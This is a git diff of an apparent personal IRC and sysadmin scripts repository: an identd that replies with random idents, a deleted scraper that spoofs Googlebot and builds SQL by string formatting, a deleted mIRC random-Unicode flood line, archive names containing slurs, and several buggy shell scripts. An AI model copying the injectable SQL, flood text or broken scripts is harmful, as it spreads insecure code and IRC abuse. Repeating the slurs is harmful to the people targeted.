", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 ", +], +"\)" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"_" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"\-" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\+" => [ +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +"$c3 ", +], +"\=" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3", +"$c3 ", +"$c1 $c2 $c3", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\|" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c1 $c2 $c3", +"$c1 $c2 $c3", +"$c1 $c2 $c3", +"$c1 $c2 $c3", +"$c1 $c2 $c3", +"$c1 $c2 $c3", +"$c3 ", +], +"\\" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 ", +], +"\[" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"\]" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3", +"$c3 ", +], +"\{" => [ +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 ", +], +"\}" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c3 ", +], +"\:" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +"$c3 ", +], +"\;" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"\'" => [ +"$c3 ", +"$c3 $c1 $c2 ", +"$c1 $c2 $c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\"" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\<" => [ +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 ", +"$c3 ", +], +"\>" => [ +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +"$c3 ", +], +"\?" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"\," => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +], +"\." => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 ", +"$c3 ", +], +"\/" => [ +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +); +} diff --git a/irc/identd.py b/irc/identd.py index c863de1..7e1493d 100644 --- a/irc/identd.py +++ b/irc/identd.py @@ -1,54 +1,65 @@ #!/usr/bin/env python # Ident Protocol Daemon - Developed by acidvegas in Python (https://acid.vegas/random) -import os, re, socket, time +import os +import random +import re +import socket +import string +import threading +import pwd def check_privledges(): - return True if os.getuid() == 0 or os.geteuid() == 0 else return False - -def debug(msg): - print(f'{get_time()} {msg}') - -def get_time(): - return time.strftime('%I:%M:%S') + if os.getuid() == 0 or os.geteuid() == 0: + return True + else: + return False def is_valid_port(port): - return True if port > 0 and port <= 65535 else return False + if port > 0 and port <= 65535: + return True + else: + return False -class server(object): - def __init__(self, ipv6=False): - self.ipv6 = ipv6 - self.sock = None +def random_str(size): + return ''.join(random.choice(string.ascii_letters) for _ in range(size)) - def _create_socket(self): - if self.ipv6: - self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) - self.sock.bind(('::', 113)) - else: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.bind(('0.0.0.0', 113)) - sock.listen(5) +class Identd(threading.Thread): + def __init__(self, protocol, address, port): + self.protocol = protocol + self.address = address + self.port = port + self.sock = None + threading.Thread.__init__(self) + + def run(self): + try: + self._create_sockets() + self._drop_privledges() + self._listen() + except Exception as ex: + print('error: ' + str(ex)) + + def _create_sockets(self): + self.sock = socket.socket(self.protocol) + self.sock.bind((self.address, self.port)) + self.sock.listen(5) + self.sock.setblocking(0) def _drop_privledges(self): os.setgroups([]) os.setgid(pwd.getpwnam('nobody').pw_gid) os.setuid(pwd.getpwnam('nobody').pw_uid) - def _start(self): - self._create_socket() - if check_privledges(): - self._drop_privledges() - self._listen() - def _listen(self): while True: - client, addr = sock.accept() + client, addr = self.sock.accept() data = client.recv(1024).decode('ascii').rstrip() source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0] - debug(f'[REQUEST] {source_ip}: {data}') + print(f'[REQUEST] {source_ip}: {data}') response = self._parse_data(data) client.send(f'{response}\r\n'.encode('ascii')) - debug(f'[ REPLY ] {source_ip}: {response}') + print(f'[ REPLY ] {source_ip}: {response}') client.close() def _parse_data(self, data): @@ -59,4 +70,11 @@ class server(object): rport = int(re.sub(r'\D', '', rport)) if not is_valid_port(lport) or not is_valid_port(rport): return data + ' : ERROR : INVALID-PORT' - return data + ' : USERID : UNIX : ' + username # RANDOM? \ No newline at end of file + return data + ' : USERID : UNIX : ' + random_str(5) + +if not check_privledges(): + raise SystemExit('requires sudo privledges to bind to port 113') +Identd(socket.AF_INET, '0.0.0.0', 113).start() +Identd(socket.AF_INET6, '::', 113).start() +while True: + input('') diff --git a/irc/gaymircd.tar.gz b/irc/ircd/gaymircd.tar.gz similarity index 100% rename from irc/gaymircd.tar.gz rename to irc/ircd/gaymircd.tar.gz diff --git a/irc/nigircd.tar.gz b/irc/ircd/nigircd.tar.gz similarity index 100% rename from irc/nigircd.tar.gz rename to irc/ircd/nigircd.tar.gz diff --git a/irc/netsplit.py b/irc/netsplit.py deleted file mode 100644 index 57e12ae..0000000 --- a/irc/netsplit.py +++ /dev/null @@ -1,64 +0,0 @@ -#!/usr/bin/env python -# NetSplit Parser - Developed by acidvegas in Python (https://acid.vegas/random) - -import os -import re -import sqlite3 -import time -import urllib.request - -# Settings -throttle = 3 - -# Globals -db_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'netsplit.db') -db = sqlite3.connect(db_file) -sql = db.cursor() - -def db_add(name, address, port, ssl): - sql.execute('INSERT INTO SERVERS (NAME,ADDRESS,PORT,SSL) VALUES (\'{0}\', \'{1}\', \'{2}\', \'{3}\')'.format(name, address, port, ssl)) - db.commit() - -def db_setup(): - tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall() - if len(tables): - sql.execute('DROP TABLE SERVERS') - sql.execute('CREATE TABLE SERVERS (NAME TEXT NOT NULL, ADDRESS TEXT NOT NULL, PORT INTEGER NOT NULL, SSL INTEGER NOT NULL);') - db.commit() - -def get_source(url): - req = urllib.request.Request(url) - req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') - source = urllib.request.urlopen(req, timeout=15) - charset = source.headers.get_content_charset() - if charset: - return source.read().decode(charset) - else: - return source.read().decode() - -db_setup() -source = get_source('http://irc.netsplit.de/networks/') -networks = re.findall('.*?
((.*?))', source, re.IGNORECASE|re.MULTILINE) - if checker: - servers = re.findall(r'(.*?)
.*?(.*?)', source, re.IGNORECASE|re.MULTILINE) - else: - servers = re.findall(r'(.*?)(.*?)', source, re.IGNORECASE|re.MULTILINE) - servers = list(set(servers)) - for server in servers: - address = server[0].split(':')[0] - port = int(server[0].split(':')[1]) - if server[1] == 'off': - ssl = 0 - else: - ssl = 1 - db_add(network, address, port, ssl) - print('{0}{1}:{2}'.format(network.ljust(30), address, port)) - time.sleep(throttle) \ No newline at end of file diff --git a/irc/unicode.msl b/irc/unicode.msl deleted file mode 100644 index b59d264..0000000 --- a/irc/unicode.msl +++ /dev/null @@ -1,26 +0,0 @@ -alias UTF81 { - if ($1 < 161) { return $chr($1) } - elseif ($len($base($1,10,2)) < 12) { return $+($chr($calc(192 + $div($1,64))),$chr($calc(128 + [ $1 % 64 ] ))) } - elseif ($len($base($1,10,2)) < 17) { return $+($chr($calc(224 + $div($1,4096))),$chr($calc(128 + [ $div($1,64) % 64 ] )),$chr($calc(128 + [ $1 % 64 ] ))) } - elseif ($len($base($1,10,2)) < 22) { - return $+($chr($calc(240 + $div($1,262144))),$chr($calc(128 + [ $div($1,4096) % 64 ] )),$chr($calc(128 + [ $div($1,64) % 64 ] )),$& - $chr($calc(128 + [ $1 % 64 ] ))) - } -} -alias -l div { return $int($calc($1 / $2)) } -alias UTF8 { - if ($version >= 7) return $chr($1) - else { - var %x $base($1,10,2),%y $len(%x) - if ($1 < 161) { return $chr($1) } - elseif (%y < 12) { return $+($shift(11000000,$left(%x,-6)),$shift(10000000,$right(%x,6))) } - elseif (%y < 17) { return $+($shift(11100000,$left(%x,-12)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) } - elseif (%y < 22) { - return $+($shift(11110000,$left(%x,-18)),$shift(10000000,$mid(%x,$iif(%y < 18,$+(-,%y),-18),6)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) - } - } -} - -$utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ - -# ^ etc like 100+ times diff --git a/irc/znc_isadmin_patch.diff b/irc/znc_isadmin_patch.diff deleted file mode 100644 index 64a9429..0000000 --- a/irc/znc_isadmin_patch.diff +++ /dev/null @@ -1,175 +0,0 @@ -user@linux ~/build/znc-acid $ git diff -diff --git a/modules/controlpanel.cpp b/modules/controlpanel.cpp -index 0b7796aa..edd14420 100644 ---- a/modules/controlpanel.cpp -+++ b/modules/controlpanel.cpp -@@ -319,12 +319,37 @@ class CAdminMod : public CModule { - pUser->SetAltNick(sValue); - PutModule("AltNick = " + sValue); - } else if (sVar == "ident") { -+ -+ // Don't need them changing this, used to identify them. -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - pUser->SetIdent(sValue); -+ - PutModule("Ident = " + sValue); - } else if (sVar == "realname") { -+ -+ // Some BNC's put their link in the realname. -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - pUser->SetRealName(sValue); - PutModule("RealName = " + sValue); - } else if (sVar == "bindhost") { -+ -+ // That code below is annoying. Just do this first. -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - if (!pUser->DenySetBindHost() || GetUser()->IsAdmin()) { - if (sValue.Equals(pUser->GetBindHost())) { - PutModule(t_s("This bind host is already set!")); -@@ -607,9 +632,24 @@ class CAdminMod : public CModule { - pNetwork->SetAltNick(sValue); - PutModule("AltNick = " + pNetwork->GetAltNick()); - } else if (sVar.Equals("ident")) { -+ -+ // Don't need them changing this, used to identify them. -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } - pNetwork->SetIdent(sValue); - PutModule("Ident = " + pNetwork->GetIdent()); - } else if (sVar.Equals("realname")) { -+ -+ // Some BNC's put their link in the realname. -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - pNetwork->SetRealName(sValue); - PutModule("RealName = " + pNetwork->GetRealName()); - } else if (sVar.Equals("bindhost")) { -@@ -1022,6 +1062,11 @@ class CAdminMod : public CModule { - CString sNetwork = sLine.Token(2); - CUser* pUser = GetUser(); - -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } - if (sNetwork.empty()) { - sNetwork = sUser; - } else { -@@ -1067,6 +1112,12 @@ class CAdminMod : public CModule { - CString sNetwork = sLine.Token(2); - CUser* pUser = GetUser(); - -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - if (sNetwork.empty()) { - sNetwork = sUser; - } else { -@@ -1149,6 +1200,12 @@ class CAdminMod : public CModule { - CString sNetwork = sLine.Token(2); - CString sServer = sLine.Token(3, true); - -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - if (sServer.empty()) { - PutModule( - t_s("Usage: AddServer [[+]port] " -@@ -1180,6 +1237,12 @@ class CAdminMod : public CModule { - unsigned short uPort = sLine.Token(4).ToUShort(); - CString sPass = sLine.Token(5); - -+ if (!GetUser()->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - if (sServer.empty()) { - PutModule( - t_s("Usage: DelServer [[+]port] " -diff --git a/src/ClientCommand.cpp b/src/ClientCommand.cpp -index 44bcc324..81704ed1 100644 ---- a/src/ClientCommand.cpp -+++ b/src/ClientCommand.cpp -@@ -536,6 +536,14 @@ void CClient::UserCommand(CString& sLine) { - PutStatus(t_f("Total: {1}, Joined: {2}, Detached: {3}, Disabled: {4}")( - vChans.size(), uNumJoined, uNumDetached, uNumDisabled)); - } else if (sCommand.Equals("ADDNETWORK")) { -+ -+ // Just them anyway. -+ if (!m_pUser->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - if (!m_pUser->IsAdmin() && !m_pUser->HasSpaceForNewNetwork()) { - PutStatus(t_s( - "Network number limit reached. Ask an admin to increase the " -@@ -569,6 +577,12 @@ void CClient::UserCommand(CString& sLine) { - } else if (sCommand.Equals("DELNETWORK")) { - CString sNetwork = sLine.Token(1); - -+ if (!m_pUser->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } -+ - if (sNetwork.empty()) { - PutStatus(t_s("Usage: DelNetwork ")); - return; -@@ -744,6 +758,11 @@ void CClient::UserCommand(CString& sLine) { - } else if (sCommand.Equals("ADDSERVER")) { - CString sServer = sLine.Token(1); - -+ if (!m_pUser->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } - if (!m_pNetwork) { - PutStatus(t_s( - "You must be connected with a network to use this command")); -@@ -763,6 +782,11 @@ void CClient::UserCommand(CString& sLine) { - "added or openssl is disabled?")); - } - } else if (sCommand.Equals("REMSERVER") || sCommand.Equals("DELSERVER")) { -+ if (!m_pUser->IsAdmin()) { -+ PutStatus(t_s( -+ "You cannot do that.")); -+ return; -+ } - if (!m_pNetwork) { - PutStatus(t_s( - "You must be connected with a network to use this command")); \ No newline at end of file diff --git a/kvm b/kvm new file mode 100755 index 0000000..f289271 --- /dev/null +++ b/kvm @@ -0,0 +1,2 @@ +#!/bin/sh +sh -c 'sleep 1.0; xdotool type $PASSWORD' \ No newline at end of file diff --git a/networking/mullvad.sh b/networking/mullvad.sh deleted file mode 100644 index 9ab725f..0000000 --- a/networking/mullvad.sh +++ /dev/null @@ -1,171 +0,0 @@ -#!/bin/bash - -DEFAULT_SERVER=0 -DISABLE_IPV6=1 - -function disable_ipv6 { - sysctl -w net.ipv6.conf.all.disable_ipv6=0 - sysctl -w net.ipv6.conf.default.disable_ipv6=0 - sysctl -w net.ipv6.conf.lo.disable_ipv6=0 -} - -function generate_config { - if [ -f /etc/openvpn/client/mullvad/mullvad.conf ]; then - sed '14s/.*/remote ${1}.mullvad.net ${2}/' /etc/openvpn/client/mullvad/mullvad.conf > /etc/openvpn/client/mullvad/mullvad.conf - else - echo "auth-user-pass auth -ca ca.crt -cipher AES-256-CBC -client -comp-lzo -crl-verify crl.pem -dev tun -nobind -persist-key -persist-tun -ping 10 -ping-restart 60 -proto udp -remote ${1}.mullvad.net ${2} -remote-cert-tls server -resolv-retry infinite -tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA -tun-ipv6 -verb 3" > /etc/openvpn/client/mullvad/mullvad.conf - fi -} - -function menu_auth { - ACCOUNT_NUMBER=$(dialog --backtitle "Mullvad VPN Helper" --title "Login" --inputbox "Account Number:" 8 50 2>&1 >/dev/tty) - clear - echo -e "$ACCOUNT_NUMBER\nm" > /etc/openvpn/client/mullvad/auth - chmod 600 /etc/openvpn/client/mullvad/auth - chown root:root /etc/openvpn/client/mullvad/auth -} - -function menu_server { - if [ $DEFAULT_SERVER -eq 0 ]; then - OPTIONS=(1 "Random" - 2 "Austria (AT)" - 3 "Australia (AU)" - 4 "Belgium (BE)" - 5 "Bulgaria (BG)" - 6 "Canada (CA)" - 7 "Canada (CA) - Toronto" - 8 "Canada (CA) - Vancouver" - 9 "Czech Republic (CZ)" - 10 "Denmark (DK)" - 11 "Germany (DE)" - 12 "Germany (DE) - Berlin" - 13 "Germany (DE) - Frankfurt" - 14 "Finland (FI)" - 15 "France (FR)" - 16 "Hong Kong (HK)" - 17 "Hungary (HU)" - 18 "Israel (IL)" - 19 "Italy (IT)" - 20 "Japan (JP)" - 21 "Moldova (MD)" - 22 "Netherlands (NL)" - 23 "Norway (NO)" - 24 "Poland (PL)" - 25 "Portugual (PT)" - 26 "Romania (RO)" - 27 "Singapore (SG)" - 28 "Spain (ES)" - 29 "Sweden (SE)" - 30 "Sweden (SE) - Helsingborg" - 31 "Sweden (SE) - Malmö" - 32 "Sweden (SE) - Stockholm" - 33 "Switzerland (CH)" - 34 "United Kingdom (GB)" - 35 "United Kingdom (GB) - London" - 36 "United Kingdom (GB) - Manchester" - 37 "United States (US)" - 38 "United States (US) - Arizona" - 39 "United States (US) - California" - 40 "United States (US) - Florida" - 41 "United States (US) - Georgia" - 42 "United States (US) - Illinois" - 43 "United States (US) - Nevada" - 44 "United States (US) - New Jersey" - 45 "United States (US) - New York" - 46 "United States (US) - Texas" - 47 "United States (US) - Utah" - 48 "United States (US) - Washington" - 49 "United States (US) - Washington DC") - CHOICE=$(dialog --clear --backtitle "Mullvad VPN Helper" --title "Connection" --menu "Select a regional server below:" 20 60 20 "${OPTIONS[@]}" 2>&1 >/dev/tty) - clear - if [ $CHOICE -eq 1 ]; then - CHOICE=$(shuf -i 2-38 -n 1) - fi - elif [ $DEFAULT_SERVER == 1 ]; then - CHOICE=$(shuf -i 2-38 -n 1) - else - CHOICE=$DEFAULT_SERVER - fi - case $CHOICE in - 2) generate_config "at" "1302";; - 3) generate_config "au" "1302";; - 4) generate_config "be" "1196";; - 5) generate_config "bg" "1195";; - 6) generate_config "ca" "1301";; - 7) generate_config "ca-bc" "1196";; - 8) generate_config "ca-on" "1196";; - 9) generate_config "cz" "1302";; - 10) generate_config "dk" "1197";; - 11) generate_config "de" "1195";; - 12) generate_config "de-ber" "1197";; - 13) generate_config "de-fra" "1301";; - 14) generate_config "fi" "1302";; - 15) generate_config "fr" "1301";; - 16) generate_config "hk" "1195";; - 17) generate_config "hu" "1194";; - 18) generate_config "il" "1197";; - 19) generate_config "it" "1196";; - 20) generate_config "jp" "1197";; - 21) generate_config "md" "1301";; - 22) generate_config "nl" "1195";; - 23) generate_config "no" "1194";; - 24) generate_config "pl" "1301";; - 25) generate_config "pt" "1301";; - 26) generate_config "ro" "1197";; - 27) generate_config "sg" "1302";; - 28) generate_config "es" "1194";; - 29) generate_config "se" "1195";; - 30) generate_config "se-hel" "1197";; - 31) generate_config "se-mma" "1194";; - 32) generate_config "se-sto" "1197";; - 33) generate_config "ch" "1195";; - 34) generate_config "gb" "1197";; - 35) generate_config "gb-lon" "1194";; - 36) generate_config "gb-mnc" "1302";; - 37) generate_config "us" "1196";; - 38) generate_config "us-az" "1194";; - 39) generate_config "us-ca" "1194";; - 40) generate_config "us-fl" "1195";; - 41) generate_config "us-ga" "1196";; - 42) generate_config "us-il" "1196";; - 43) generate_config "us-nv" "1302";; - 44) generate_config "us-nj" "1301";; - 45) generate_config "us-ny" "1195";; - 46) generate_config "us-tx" "1195";; - 47) generate_config "us-ut" "1196";; - 48) generate_config "us-wa" "1197";; - 49) generate_config "us-dc" "1302";; - esac -} - -if [ $EUID -ne 0 ]; then - echo "[!] - This script requires sudo privledges!" - exit 1 -fi -if [ ! -f /etc/openvpn/client/mullvad/auth ]; then - menu_auth -fi -if [ $DISABLE_IPV6 -eq 1 ]; then - disable_ipv6 -fi -rm /etc/openvpn/client/mullvad/mullvad.conf -menu_server -openvpn --cd /etc/openvpn/client/mullvad --config mullvad.conf diff --git a/networking/ovh6 b/networking/ovh6 new file mode 100755 index 0000000..2e275df --- /dev/null +++ b/networking/ovh6 @@ -0,0 +1,5 @@ +#!/bin/sh +#usage: ovh6 IPV6_ADDRESS IPV6_GATEWAY +ip addr add $1/64 dev eth0 +ip -6 route add $2 dev eth0 +ip -6 route add default via $2 dev eth0 \ No newline at end of file diff --git a/progress.sh b/progress.sh deleted file mode 100644 index a090f90..0000000 --- a/progress.sh +++ /dev/null @@ -1,7 +0,0 @@ -PROGRESS='#' -for PERCENT in {1..100}; do - echo -ne "$PERCENT%\t$PROGRESS\r" - PROGRESS="$PROGRESS#" - sleep 0.05 -done -echo -e "\n" \ No newline at end of file diff --git a/rekey.sh b/rekey.sh deleted file mode 100644 index 7623f45..0000000 --- a/rekey.sh +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -recycle_gpg_key() { - gpg --expert --full-gen-key - local KEYID="CHANGEME" # todo: automatically parse this from gpg output - gpg --export --armor $KEYID > $KEYID.pub.asc - gpg --export-secret-keys --armor $KEYID > $KEYID.priv.asc - gpg --export-secret-subkeys --armor $KEYID > $KEYID.sub_priv.asc - gpg --delete-secret-key $KEYID - gpg --import $KEYID.sub_priv.asc -} - -recycle_irc_key() { - local NICK="CHANGEME" - openssl req -x509 -new -newkey rsa:4096 -sha256 -days 3650 -nodes -out $NICK.pem -keyout $NICK.pem - chmod 400 $NICK.pem -} - -recycle_ssh_key() { - if [ ! -d $HOME/.ssh ]; then - mkdir $HOME/.ssh - else - [ -f $HOME/.ssh/key ] && mv $HOME/.ssh/key $HOME/.ssh/key.back - [ -f $HOME/.ssh/key.pub ] && rm $HOME/.ssh/key.pub - fi - read -p "Password: " $PASSWORD - ssh-keygen -t ed25519 -a 100 -C "" -P "$PASSWORD" -f $HOME/.ssh/key -q -} - -setup_authorized_keys() { - if [ ! -d /etc/ssh/authorized_keys ]; then - mkdir /etc/ssh/authorized_keys - else - for f in /home/*/.ssh/authorized_keys; do - local USERNAME=$(echo $f | cut -d/ -f 3) - if [ ! -f /etc/ssh/authorized_keys/$USERNAME ]; then - cat $f > /etc/ssh/authorized_keys/$USERNAME && rm $f - fi - done - fi -} \ No newline at end of file diff --git a/stdcap.py b/stdcap.py index eba0962..1fa80bf 100644 --- a/stdcap.py +++ b/stdcap.py @@ -90,9 +90,9 @@ def get_data(coin, start_time, end_time): CMC = CoinMarketCap() ticker_data = CMC._ticker() -start_time = int((datetime.datetime.now()-datetime.timedelta(days=7)).timestamp()*1000) +start_time = int((datetime.datetime.now()-datetime.timedelta(days=180)).timestamp()*1000) end_time = int(datetime.datetime.now().timestamp()*1000) -coins = [item['id'] for item in ticker_data] #[:10] +coins = [item['id'] for item in ticker_data][:10] data = [get_data(coin, start_time, end_time) for coin in coins] data = sorted(data, key=lambda k: float(k['std']), reverse=True) generate_table(data) diff --git a/zalgo.html b/zalgo.html new file mode 100644 index 0000000..b1aa96b --- /dev/null +++ b/zalgo.html @@ -0,0 +1,193 @@ + + + + + + +
+

Zalgo Text Generator

+ + + + + + +
+

+
+

+
+ + + + + + + + +
+ Up +
Middle +
Down +
+ Minimal +
Medium +
Maximum +
+
+ +
+ + +